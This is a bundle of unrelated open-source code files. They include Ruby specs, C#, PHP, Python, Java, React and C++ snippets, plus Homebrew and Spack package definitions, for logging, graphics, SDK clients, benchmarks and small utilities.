require 'spec_helper' RSpec.describe Airbrake::AirbrakeLogger do let(:project_id) { 113743 } let(:project_key) { 'fd04e13d806a90f96614ad8e529b2822' } let(:endpoint) do "https://airbrake.io/api/v3/projects/#{project_id}/notices?key=#{project_key}" end let(:airbrake) do Airbrake::Notifier.new(project_id: project_id, project_key: project_key) end let(:logger) { Logger.new('/dev/null') } subject { described_class.new(logger) } def wait_for_a_request_with_body(body) wait_for(a_request(:post, endpoint).with(body: body)).to have_been_made.once end before do stub_request(:post, endpoint).to_return(status: 201, body: '{}') end describe "#airbrake_notifier" do it "has the default notifier installed by default" do expect(subject.airbrake_notifier).to be_an(Airbrake::Notifier) end it "installs Airbrake notifier" do notifier_id = airbrake.object_id expect(subject.airbrake_notifier.object_id).not_to eq(notifier_id) subject.airbrake_notifier = airbrake expect(subject.airbrake_notifier.object_id).to eq(notifier_id) end context "when Airbrake is installed explicitly" do let(:out) { StringIO.new } let(:logger) { Logger.new(out) } before do subject.airbrake_notifier = airbrake end it "both logs and notifies" do msg = 'bingo' subject.fatal(msg) wait_for_a_request_with_body(/"message":"#{msg}"/) expect(out.string).to match(/FATAL -- : #{msg}/) end it "sets the correct severity" do subject.fatal('bango') wait_for_a_request_with_body(/"context":{.*"severity":"critical".*}/) end it "sets the correct component" do subject.fatal('bingo') wait_for_a_request_with_body(/"component":"log"/) end it "strips out internal logger frames" do subject.fatal('bongo') wait_for( a_request(:post, endpoint). with(body: %r{"file":".+/logger.rb"}) ).not_to have_been_made wait_for(a_request(:post, endpoint)).to have_been_made.once end end context "when Airbrake is not installed" do it "only logs, never notifies" do out = StringIO.new l = described_class.new(Logger.new(out)) l.airbrake_notifier = nil msg = 'bango' l.fatal(msg) wait_for(a_request(:post, endpoint)).not_to have_been_made expect(out.string).to match('FATAL -- : bango') end end end describe "#airbrake_level" do context "when not set" do it "defaults to Logger::WARN" do expect(subject.airbrake_level).to eq(Logger::WARN) end end context "when set" do before do subject.airbrake_level = Logger::FATAL end it "does not notify below the specified level" do subject.error('bingo') wait_for(a_request(:post, endpoint)).not_to have_been_made end it "notifies in the current or above level" do subject.fatal('bingo') wait_for(a_request(:post, endpoint)).to have_been_made end it "raises error when below the allowed level" do expect do subject.airbrake_level = Logger::DEBUG end.to raise_error(/severity level \d is not allowed/) end end end end
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace LeetCode.Challenge { /// <summary> /// https://leetcode.com/explore/challenge/card/november-leetcoding-challenge/566/week-3-november-15th-november-21st/3534/ /// /// </summary> internal class Nov17 { public class Solution { public int MirrorReflection(int p, int q) { if (q == 0) return 0; var qpos = 0; for (var i = 0; ; i++) { qpos += q; if (qpos % p == 0) { if (i % 2 == 1) return 2; else { var div = qpos / p; if (div % 2 == 0) return 0; return 1; } } } return -1; } } } }
<?php /** * @link http://www.yiiframework.com/ * @copyright Copyright (c) 2008 Yii Software LLC * @license http://www.yiiframework.com/license/ */ namespace app\assets; use yii\web\AssetBundle; /** * Main application asset bundle. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 2.0 */ class IndexAsset extends AssetBundle { public $basePath = '@webroot'; public $baseUrl = '@web'; public $css = [ 'css/site.css', ]; public $js = [ 'js/globals.js', 'js/main.js', ]; public $depends = [ 'yii\web\YiiAsset', 'yii\bootstrap\BootstrapAsset', ]; }
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("SMB NES ROM Text Editor")] [assembly: AssemblyDescription("This program will let you change the text of the ROM Super Mario Bros. (JU) (PRG0) [!].nes.")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("[sleepy]")] [assembly: AssemblyProduct("SMB NES ROM Text Editor")] [assembly: AssemblyCopyright("Copyright © Shawn M. Crawford 2010-2016")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("7bf5d19f-560a-42f0-9a61-a1b19aca3e69")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.1.0.*")] [assembly: AssemblyFileVersion("1.1.0.0")]
=begin #Cisco Intersight #Cisco Intersight is a management platform delivered as a service with embedded analytics for your Cisco and 3rd party IT infrastructure. This platform offers an intelligent level of management that enables IT organizations to analyze, simplify, and automate their environments in more advanced ways than the prior generations of tools. Cisco Intersight provides an integrated and intuitive management experience for resources in the traditional data center as well as at the edge. With flexible deployment options to address complex security needs, getting started with Intersight is quick and easy. Cisco Intersight has deep integration with Cisco UCS and HyperFlex systems allowing for remote deployment, configuration, and ongoing maintenance. The model-based deployment works for a single system in a remote location or hundreds of systems in a data center and enables rapid, standardized configuration and deployment. It also streamlines maintaining those systems whether you are working with small or very large configurations. The Intersight OpenAPI document defines the complete set of properties that are returned in the HTTP response. From that perspective, a client can expect that no additional properties are returned, unless these properties are explicitly defined in the OpenAPI document. However, when a client uses an older version of the Intersight OpenAPI document, the server may send additional properties because the software is more recent than the client. In that case, the client may receive properties that it does not know about. Some generated SDKs perform a strict validation of the HTTP response body against the OpenAPI document. This document was created on 2021-10-20T11:22:53Z. The version of the OpenAPI document: 1.0.9-4870 Contact: intersight@cisco.com Generated by: https://openapi-generator.tech OpenAPI Generator version: 5.3.1 =end require 'spec_helper' require 'json' require 'date' # Unit tests for IntersightClient::KubernetesConfigResultListAllOf # Automatically generated by openapi-generator (https://openapi-generator.tech) # Please update as you see appropriate describe IntersightClient::KubernetesConfigResultListAllOf do let(:instance) { IntersightClient::KubernetesConfigResultListAllOf.new } describe 'test an instance of KubernetesConfigResultListAllOf' do it 'should create an instance of KubernetesConfigResultListAllOf' do expect(instance).to be_instance_of(IntersightClient::KubernetesConfigResultListAllOf) end end describe 'test attribute "count"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end describe 'test attribute "results"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end end
/* * Copyright (c) 2018 Gustavo Valiente gustavo.valiente@protonmail.com * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute it * freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you must not * claim that you wrote the original software. If you use this software * in a product, an acknowledgment in the product documentation would be * appreciated but is not required. * 2. Altered source versions must be plainly marked as such, and must not be * misrepresented as being the original software. * 3. This notice may not be removed or altered from any source distribution. */ #include "q3dvertex.h" #include <QColor> Q3DVertex::Q3DVertex(const QVector3D& position, const Q3DColor& color) noexcept : _position(position), _color(color) { } const QVector3D& Q3DVertex::position() const noexcept { return _position; } void Q3DVertex::setPosition(const QVector3D& position) noexcept { _position = position; } const Q3DColor& Q3DVertex::color() const noexcept { return _color; } void Q3DVertex::setColor(const Q3DColor& color) noexcept { _color = color; }
//--------------------------------------------------------------------------- #include <opengl/vertex_layout.h> //--------------------------------------------------------------------------- static const char * const shader_code_2d_wired_rect_vs = R"SHADER( /** * !vertex: p2 t */ #version 330 core layout(std140) uniform Area { vec2 pos; vec2 size; float depth; }; layout(std140) uniform Viewport { vec2 viewport; }; in vec2 position; in vec2 texcoord; out Vertex { vec2 texcoord; vec2 ratio; } output; void main(void) { output.ratio = size * viewport; output.texcoord = texcoord; gl_Position = vec4(position * size + pos, depth, 1.0); } )SHADER"; //--------------------------------------------------------------------------- static const ::asd::opengl::vertex_layout & shader_code_2d_wired_rect_layout = ::asd::opengl::vertex_layouts::p2t::get(); //---------------------------------------------------------------------------
# from https://stackoverflow.com/questions/8032642/how-to-obtain-image-size-using-standard-python-class-without-using-external-lib import struct import imghdr def get_image_size(fname): """Determine the image type of fhandle and return its size. from draco""" with open(fname, "rb") as fhandle: head = fhandle.read(24) if len(head) != 24: return if imghdr.what(fname) == "png": check = struct.unpack(">i", head[4:8])[0] if check != 0x0D0A1A0A: return width, height = struct.unpack(">ii", head[16:24]) elif imghdr.what(fname) == "gif": width, height = struct.unpack("<HH", head[6:10]) elif imghdr.what(fname) == "jpeg": try: fhandle.seek(0) # Read 0xff next size = 2 ftype = 0 while not 0xC0 <= ftype <= 0xCF: fhandle.seek(size, 1) byte = fhandle.read(1) while ord(byte) == 0xFF: byte = fhandle.read(1) ftype = ord(byte) size = struct.unpack(">H", fhandle.read(2))[0] - 2 # We are at a SOFn block fhandle.seek(1, 1) # Skip `precision' byte. height, width = struct.unpack(">HH", fhandle.read(4)) except Exception: # IGNORE:W0703 return else: return return width, height
# Copyright 2013-2019 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class Parsplice(CMakePackage): """ParSplice code implements the Parallel Trajectory Splicing algorithm""" homepage = "https://gitlab.com/exaalt/parsplice" url = "https://gitlab.com/api/v4/projects/exaalt%2Fparsplice/repository/archive.tar.gz?sha=v1.1" git = "https://gitlab.com/exaalt/parsplice.git" tags = ['ecp', 'ecp-apps'] version('develop', branch='master') version('1.1', '3a72340d49d731a076e8942f2ae2f4e9') depends_on("cmake@3.1:", type='build') depends_on("berkeley-db") depends_on("nauty") depends_on("boost") depends_on("mpi") depends_on("eigen@3:") depends_on("lammps+lib@20170901:") def cmake_args(self): options = ['-DBUILD_SHARED_LIBS=ON'] return options
#!/usr/bin/env python2.5 # # Copyright 2009 the Melange authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Module that contains base class for Melange Expando models. """ __authors__ = [ '"Lennard de Rijk" <ljvderijk@gmail.com>', ] from google.appengine.ext import db from soc.logic import dicts class ExpandoBase(db.Expando): """Expando Base model. This might later on contain general functionalities like the ModelWithFieldAttributes model. """ toDict = dicts.toDict
Read the [SDK documentation](https://github.com/Azure/azure-sdk-for-java/blob/azure-resourcemanager-streamanalytics_1.0.0-beta.2/sdk/streamanalytics/azure-resourcemanager-streamanalytics/README.md) on how to add the SDK to your project and authenticate. ```java import com.azure.resourcemanager.streamanalytics.models.ClusterSku; import com.azure.resourcemanager.streamanalytics.models.ClusterSkuName; import java.util.HashMap; import java.util.Map; /** Samples for Clusters CreateOrUpdate. */ public final class Main { /* * x-ms-original-file: specification/streamanalytics/resource-manager/Microsoft.StreamAnalytics/stable/2020-03-01/examples/Cluster_Create.json */ /** * Sample code: Create a new cluster. * * @param manager Entry point to StreamAnalyticsManager. */ public static void createANewCluster(com.azure.resourcemanager.streamanalytics.StreamAnalyticsManager manager) { manager .clusters() .define("An Example Cluster") .withRegion("North US") .withExistingResourceGroup("sjrg") .withTags(mapOf("key", "value")) .withSku(new ClusterSku().withName(ClusterSkuName.DEFAULT).withCapacity(48)) .create(); } @SuppressWarnings("unchecked") private static <T> Map<String, T> mapOf(Object... inputs) { Map<String, T> map = new HashMap<>(); for (int i = 0; i < inputs.length; i += 2) { String key = (String) inputs[i]; T value = (T) inputs[i + 1]; map.put(key, value); } return map; } } ```
cask 'unity-ios-support-for-editor@2019.3.8f1' do version '2019.3.8f1,4ba98e9386ed' sha256 :no_check url "https://download.unity3d.com/download_unity/4ba98e9386ed/MacEditorTargetInstaller/UnitySetup-iOS-Support-for-Editor-2019.3.8f1.pkg" name 'iOS Build Support' homepage 'https://unity3d.com/unity/' pkg 'UnitySetup-iOS-Support-for-Editor-2019.3.8f1.pkg' depends_on cask: 'unity@2019.3.8f1' preflight do if File.exist? "/Applications/Unity" FileUtils.move "/Applications/Unity", "/Applications/Unity.temp" end if File.exist? "/Applications/Unity-2019.3.8f1" FileUtils.move "/Applications/Unity-2019.3.8f1", '/Applications/Unity' end end postflight do if File.exist? '/Applications/Unity' FileUtils.move '/Applications/Unity', "/Applications/Unity-2019.3.8f1" end if File.exist? '/Applications/Unity.temp' FileUtils.move '/Applications/Unity.temp', '/Applications/Unity' end end uninstall quit: 'com.unity3d.UnityEditor5.x', delete: '/Applications/Unity-2019.3.8f1/PlaybackEngines/iOSSupport' end
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package gameshop.advance.technicalservices; import java.util.logging.Level; import java.util.logging.Logger; /** * * @author Lorenzo Di Giuseppe <lorenzo.digiuseppe88@gmail.com> */ public class LoggerSingleton { private static LoggerSingleton instance; private LoggerSingleton(){ } /** * @return istanza di LoggerSingleton */ public static LoggerSingleton getInstance() { if(instance == null) instance = new LoggerSingleton(); return instance; } /** * @param ex */ public void log(Exception ex) { System.err.println("Logger Singleton says:\n"); Logger.getLogger(LoggerSingleton.class.getName()).log(Level.SEVERE, null, ex); } }
/* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License; * you may not use this file except in compliance with the Elastic License. */ import React from 'react'; import { shallow } from 'enzyme'; import { UserList } from '.'; import * as i18n from '../case_view/translations'; describe('UserList ', () => { const title = 'Case Title'; const caseLink = 'http://reddit.com'; const user = { username: 'username', fullName: 'Full Name', email: 'testemail@elastic.co' }; const open = jest.fn(); beforeAll(() => { window.open = open; }); beforeEach(() => { jest.resetAllMocks(); }); it('triggers mailto when email icon clicked', () => { const wrapper = shallow( <UserList email={{ subject: i18n.EMAIL_SUBJECT(title), body: i18n.EMAIL_BODY(caseLink), }} headline={i18n.REPORTER} users={[user]} /> ); wrapper.find('[data-test-subj="user-list-email-button"]').simulate('click'); expect(open).toBeCalledWith( `mailto:${user.email}?subject=${i18n.EMAIL_SUBJECT(title)}&body=${i18n.EMAIL_BODY(caseLink)}`, '_blank' ); }); });
import React from 'react'; import Link from 'gatsby-link'; import Projects from '../components/Projects'; import StyledLink from '../components/StyledLink'; import { styling, colors, delay } from '../utils/style'; import { Container } from '../utils/shared'; import styled, { keyframes } from 'styled-components'; const HelloText = styled.h1` color: ${colors.primaryColor}; `; const IndexPage = () => ( <Container> <div> <HelloText>Hey! 👋</HelloText> <HelloText>I'm Leo, a Front End Developer in Washington, DC.</HelloText> </div> <div> <p>I'm currently working on a variety of Front End projects over at <StyledLink href='https://www.weddingwire.com/' text='WeddingWire'/>.</p> <p>If you want to get in touch with me, you can find me on <StyledLink href='https://twitter.com/itsLeeOhGee' text='Twitter' />, <StyledLink href='https://www.linkedin.com/in/leogenerali/' text='LinkedIn' />, or <StyledLink href='https://github.com/leo-generali' text='Github' />. If you want to say hello, you can email me <StyledLink href='mailto:me@leogenerali.com?Subject=Hello!' text='here' />.</p> <p>If I'm not coding, I'm probably out running. I try and post all of my runs on Strava. If that sounds like your type of thing, you can check that out over <StyledLink href='https://www.strava.com/athletes/11876587' text='here' />.</p> <p>I also enjoy building tools that solve problems. I get to help others out, and I learn a thing or two in the process. Here are some of the cooler things I've made:</p> <Projects /> </div> </Container> ) export default IndexPage;
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _react = require('react'); var _react2 = _interopRequireDefault(_react); var _pure = require('recompose/pure'); var _pure2 = _interopRequireDefault(_pure); var _SvgIcon = require('material-ui/SvgIcon'); var _SvgIcon2 = _interopRequireDefault(_SvgIcon); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var SvgIconCustom = global.__MUI_SvgIcon__ || _SvgIcon2.default; var _ref = _react2.default.createElement('path', { d: 'M0 7.72V9.4l3-1V18h2V6h-.25L0 7.72zm23.78 6.65c-.14-.28-.35-.53-.63-.74-.28-.21-.61-.39-1.01-.53s-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23-.23-.08-.41-.16-.55-.25-.14-.09-.23-.19-.28-.3-.05-.11-.08-.24-.08-.39 0-.14.03-.28.09-.41.06-.13.15-.25.27-.34.12-.1.27-.18.45-.24s.4-.09.64-.09c.25 0 .47.04.66.11.19.07.35.17.48.29.13.12.22.26.29.42.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09-.16-.34-.39-.63-.69-.88-.3-.25-.66-.44-1.09-.59C21.49 9.07 21 9 20.46 9c-.51 0-.98.07-1.39.21-.41.14-.77.33-1.06.57-.29.24-.51.52-.67.84-.16.32-.23.65-.23 1.01s.08.69.23.96c.15.28.36.52.64.73.27.21.6.38.98.53.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34.05.12.07.25.07.39 0 .32-.13.57-.4.77-.27.2-.66.29-1.17.29-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44-.11-.18-.17-.41-.18-.67h-1.89c0 .36.08.71.24 1.05.16.34.39.65.7.93.31.27.69.49 1.15.66.46.17.98.25 1.58.25.53 0 1.01-.06 1.44-.19.43-.13.8-.31 1.11-.54.31-.23.54-.51.71-.83.17-.32.25-.67.25-1.06-.02-.4-.09-.74-.24-1.02zm-9.96-7.32c-.34-.4-.75-.7-1.23-.88-.47-.18-1.01-.27-1.59-.27-.58 0-1.11.09-1.59.27-.48.18-.89.47-1.23.88-.34.41-.6.93-.79 1.59-.18.65-.28 1.45-.28 2.39v1.92c0 .94.09 1.74.28 2.39.19.66.45 1.19.8 1.6.34.41.75.71 1.23.89.48.18 1.01.28 1.59.28.59 0 1.12-.09 1.59-.28.48-.18.88-.48 1.22-.89.34-.41.6-.94.78-1.6.18-.65.28-1.45.28-2.39v-1.92c0-.94-.09-1.74-.28-2.39-.18-.66-.44-1.19-.78-1.59zm-.92 6.17c0 .6-.04 1.11-.12 1.53-.08.42-.2.76-.36 1.02-.16.26-.36.45-.59.57-.23.12-.51.18-.82.18-.3 0-.58-.06-.82-.18s-.44-.31-.6-.57c-.16-.26-.29-.6-.38-1.02-.09-.42-.13-.93-.13-1.53v-2.5c0-.6.04-1.11.13-1.52.09-.41.21-.74.38-1 .16-.25.36-.43.6-.55.24-.11.51-.17.81-.17.31 0 .58.06.81.17.24.11.44.29.6.55.16.25.29.58.37.99.08.41.13.92.13 1.52v2.51z' }); var Timer10 = function Timer10(props) { return _react2.default.createElement( SvgIconCustom, props, _ref ); }; Timer10 = (0, _pure2.default)(Timer10); Timer10.muiName = 'SvgIcon'; exports.default = Timer10;
<?php /** * Magento * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@magentocommerce.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade Magento to newer * versions in the future. If you wish to customize Magento for your * needs please refer to http://www.magentocommerce.com for more information. * * @category Mage * @package Mage_Tag * @copyright Copyright (c) 2013 Magento Inc. (http://www.magentocommerce.com) * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) */ /** * Tag resourse model * * @category Mage * @package Mage_Tag * @author Magento Core Team <core@magentocommerce.com> */ class Mage_Tag_Model_Mysql4_Tag extends Mage_Tag_Model_Resource_Tag { }
# Rainbow 2, by Al Sweigart al@inventwithpython.com # Shows a simple squiggle rainbow animation. import time, random, sys try: import bext except ImportError: print("""This program requires the bext module, which you can install by opening a Terminal window (on macOS & Linux) and running: python3 -m pip install --user bext or a Command Prompt window (on Windows) and running: python -m pip install --user bext""") sys.exit() indent = 10 # How many spaces to indent. while True: print(' ' * indent, end='') bext.fg('red') print('##', end='') bext.fg('yellow') print('##', end='') bext.fg('green') print('##', end='') bext.fg('blue') print('##', end='') bext.fg('cyan') print('##', end='') bext.fg('purple') print('##') if random.randint(0, 1) == 0: # Increase the number of spaces: indent = indent + 1 if indent > 20: indent = 20 else: # Decrease the number of spaces: indent = indent - 1 if indent < 0: indent = 0 time.sleep(0.05) # Add a slight pause.
#! /usr/bin/env python # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. try: from setuptools import setup except ImportError: from distutils.core import setup from sys import version_info install_requires = [] if version_info[:2] <= (2, 5): install_requires.append('simplejson >= 2.0.9') setup( name = 'avro', version = '1.7.6', packages = ['avro',], package_dir = {'avro': 'src/avro'}, scripts = ["./scripts/avro"], # Project uses simplejson, so ensure that it gets installed or upgraded # on the target machine install_requires = install_requires, # metadata for upload to PyPI author = 'Apache Avro', author_email = 'avro-dev@hadoop.apache.org', description = 'Avro is a serialization and RPC framework.', license = 'Apache License 2.0', keywords = 'avro serialization rpc', url = 'http://hadoop.apache.org/avro', extras_require = { 'snappy': ['python-snappy'], }, )
class Hyperspec < Formula desc "Common Lisp ANSI-standard Hyperspec" homepage "http://www.lispworks.com/documentation/common-lisp.html" url "ftp://ftp.lispworks.com/pub/software_tools/reference/HyperSpec-7-0.tar.gz" version "7.0" sha256 "1ac1666a9dc697dbd8881262cad4371bcd2e9843108b643e2ea93472ba85d7c3" bottle :unneeded def install doc.install Dir["*"] end def caveats; <<-EOS.undent To use this copy of the HyperSpec with SLIME, put the following in you .emacs intialization file: (eval-after-load "slime" '(progn (setq common-lisp-hyperspec-root "#{HOMEBREW_PREFIX}/share/doc/hyperspec/HyperSpec/") (setq common-lisp-hyperspec-symbol-table (concat common-lisp-hyperspec-root "Data/Map_Sym.txt")) (setq common-lisp-hyperspec-issuex-table (concat common-lisp-hyperspec-root "Data/Map_IssX.txt")))) EOS end test do assert (doc/"HyperSpec-README.text").exist? end end
/********************************************************************************/ /* Portable Graphics Library for Embedded Systems * (C) Componentality Oy, 2015 */ /* Initial design and development: Konstantin A. Khait */ /* Support, comments and questions: dev@componentality.com */ /********************************************************************************/ /* Alfa and gradient transparency support */ /********************************************************************************/ #include "transparency.h" #include "sprite.h" using namespace Componentality::Graphics; void AlphaBrush::plot(ISurface& surface, const size_t x, const size_t y, const Color& color) { ColorRGB original_color = surface.peek(x, y); ColorRGB new_color = color; new_color.blue = ____applyAlpha(original_color.blue, new_color.blue, mAlpha); new_color.green = ____applyAlpha(original_color.green, new_color.green, mAlpha); new_color.red = ____applyAlpha(original_color.red, new_color.red, mAlpha); surface.plot(x, y, new_color); } void GradientBrush::plot(ISurface& surface, const size_t x, const size_t y, const Color& color) { long long x_scale = 10000 * x / surface.getWidth(); long long y_scale = 10000 * y / surface.getHeight(); x_scale = (mRight * x_scale) + (mLeft * (10000 - x_scale)); y_scale = (mBottom * y_scale) + (mTop * (10000 - y_scale)); long long alpha = (x_scale + y_scale) / 20000; ColorRGB original_color = surface.peek(x, y); ColorRGB new_color = color; new_color.blue = ____applyAlpha(original_color.blue, new_color.blue, (unsigned char) alpha); new_color.green = ____applyAlpha(original_color.green, new_color.green, (unsigned char)alpha); new_color.red = ____applyAlpha(original_color.red, new_color.red, (unsigned char)alpha); surface.plot(x, y, new_color); }
/******************************************************************************* * Copyright 2012 Kim Herzig, Sascha Just * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. ******************************************************************************/ package net.ownhero.dev.kanuni.annotations.file; import java.lang.annotation.Documented; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; import net.ownhero.dev.kanuni.annotations.factories.CreatorFile; import net.ownhero.dev.kanuni.annotations.meta.FactoryClass; /** * The Interface ExecutableFile. * * @author Sascha Just <sascha.just@st.cs.uni-saarland.de> */ @Documented @Retention (RetentionPolicy.RUNTIME) @FactoryClass (CreatorFile.class) @Target (value = { ElementType.PARAMETER }) public @interface ExecutableFile { /** * Value. * * @return the string */ String value() default ""; }
#!/usr/bin/env python # ------------------------------------------------------------------------------------------------------% # Created by "Thieu Nguyen" at 15:39, 20/04/2020 % # % # Email: nguyenthieu2102@gmail.com % # Homepage: https://www.researchgate.net/profile/Thieu_Nguyen6 % # Github: https://github.com/thieu1995 % #-------------------------------------------------------------------------------------------------------% from opfunu.cec.cec2005.root import Root from numpy import sum, dot, cos, exp, pi, e, sqrt class Model(Root): def __init__(self, f_name="Shifted Rotated Ackley's Function with Global Optimum on Bounds", f_shift_data_file="data_ackley", f_ext='.txt', f_bias=-140, f_matrix=None): Root.__init__(self, f_name, f_shift_data_file, f_ext, f_bias) self.f_matrix = f_matrix def _main__(self, solution=None): problem_size = len(solution) if problem_size > 100: print("CEC 2005 not support for problem size > 100") return 1 if problem_size == 10 or problem_size == 30 or problem_size == 50: self.f_matrix = "ackley_M_D" + str(problem_size) else: print("CEC 2005 F8 function only support problem size 10, 30, 50") return 1 shift_data = self.load_shift_data()[:problem_size] t1 = int(problem_size/2) for j in range(0, t1-1): shift_data[2*(j+1)-1] = -32 * shift_data[2*(j+1)] matrix = self.load_matrix_data(self.f_matrix) z = dot((solution - shift_data), matrix) result = -20 * exp(-0.2 * sum(z ** 2) / problem_size) - exp(sum(cos(2 * pi * z))) + 20 + e return result + self.f_bias
class VulkanHeaders < Formula desc "Vulkan Header files and API registry" homepage "https://github.com/KhronosGroup/Vulkan-Headers" url "https://github.com/KhronosGroup/Vulkan-Headers/archive/v1.2.155.tar.gz" sha256 "46226dd0a8023114acfe2ba3e4fab8af8595781a4b5b5f3371b21f90f507814d" license "Apache-2.0" bottle do cellar :any_skip_relocation sha256 "350afdd580434b9c5220e908ede864e88b67c5c502f138bfec7d47f6dc0cf736" => :catalina sha256 "7c368e9a0d4cb2ee30b26a15f4e6c6627431c35eac29359fd0f5f31ba2c04af4" => :mojave sha256 "d5d10312e4fceb39c1cadb1e7e7c54d7371e9418f02cde7db816800a7bfa076d" => :high_sierra end depends_on "cmake" => :build def install system "cmake", ".", *std_cmake_args system "make", "install" end test do (testpath/"test.c").write <<~EOS #include <stdio.h> #include <vulkan/vulkan_core.h> int main() { printf("vulkan version %d", VK_VERSION_1_0); return 0; } EOS system ENV.cc, "test.c", "-o", "test" system "./test" end end
import json import socket def is_jsonable(obj): try: json.dumps(obj) return True except (TypeError, OverflowError, ValueError): return False def sanitize_meta(meta): keys_to_sanitize = [] for key, value in meta.items(): if not is_jsonable(value): keys_to_sanitize.append(key) if keys_to_sanitize: for key in keys_to_sanitize: del meta[key] meta['__errors'] = 'These keys have been sanitized: ' + ', '.join( keys_to_sanitize) return meta def get_ip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: # doesn't even have to be reachable s.connect(('10.255.255.255', 1)) ip = s.getsockname()[0] except Exception: ip = '127.0.0.1' finally: s.close() return ip
<?php declare(strict_types=1); /** * This file is part of Hyperf. * * @link https://www.hyperf.io * @document https://doc.hyperf.io * @contact group@hyperf.io * @license https://github.com/hyperf/hyperf/blob/master/LICENSE */ namespace Tegic\HyperfWechat; use Hyperf\HttpMessage\Stream\SwooleStream; use Hyperf\Utils\Context; use Psr\Http\Message\ResponseInterface as PsrResponseInterface; use Symfony\Component\HttpFoundation\Response; class Helper { public static function Response(Response $response) { $psrResponse = Context::get(PsrResponseInterface::class); $psrResponse = $psrResponse->withBody(new SwooleStream($response->getContent()))->withStatus($response->getStatusCode()); foreach ($response->headers->all() as $key => $item) { $psrResponse = $psrResponse->withHeader($key, $item); } return $psrResponse; } }
"use strict"; var People = (function () { function People(obj) { this.personId = obj && obj.personId || null; this.isenable = obj && obj.isenable || null; this.title = obj && obj.title || null; this.firstName = obj && obj.firstName || null; this.lastName = obj && obj.lastName || null; this.dob = obj && obj.dob || null; this.gender = obj && obj.gender || null; this.phone = obj && obj.phone || null; this.mobile = obj && obj.mobile || null; this.occupation = obj && obj.occupation || null; this.address = obj && obj.address || null; this.suburbDistrict = obj && obj.suburbDistrict || null; this.ward = obj && obj.ward || null; this.postcode = obj && obj.postcode || null; this.stateProvince = obj && obj.stateProvince || null; this.country = obj && obj.country || null; this.ispatient = obj && obj.ispatient || null; this.isdoctor = obj && obj.isdoctor || null; this.image = obj && obj.image || null; this.createdBy = obj && obj.createdBy || null; this.creationDate = obj && obj.creationDate || null; this.lastUpdatedBy = obj && obj.lastUpdatedBy || null; this.lastUpdateDate = obj && obj.lastUpdateDate || null; } return People; }()); exports.People = People; //# 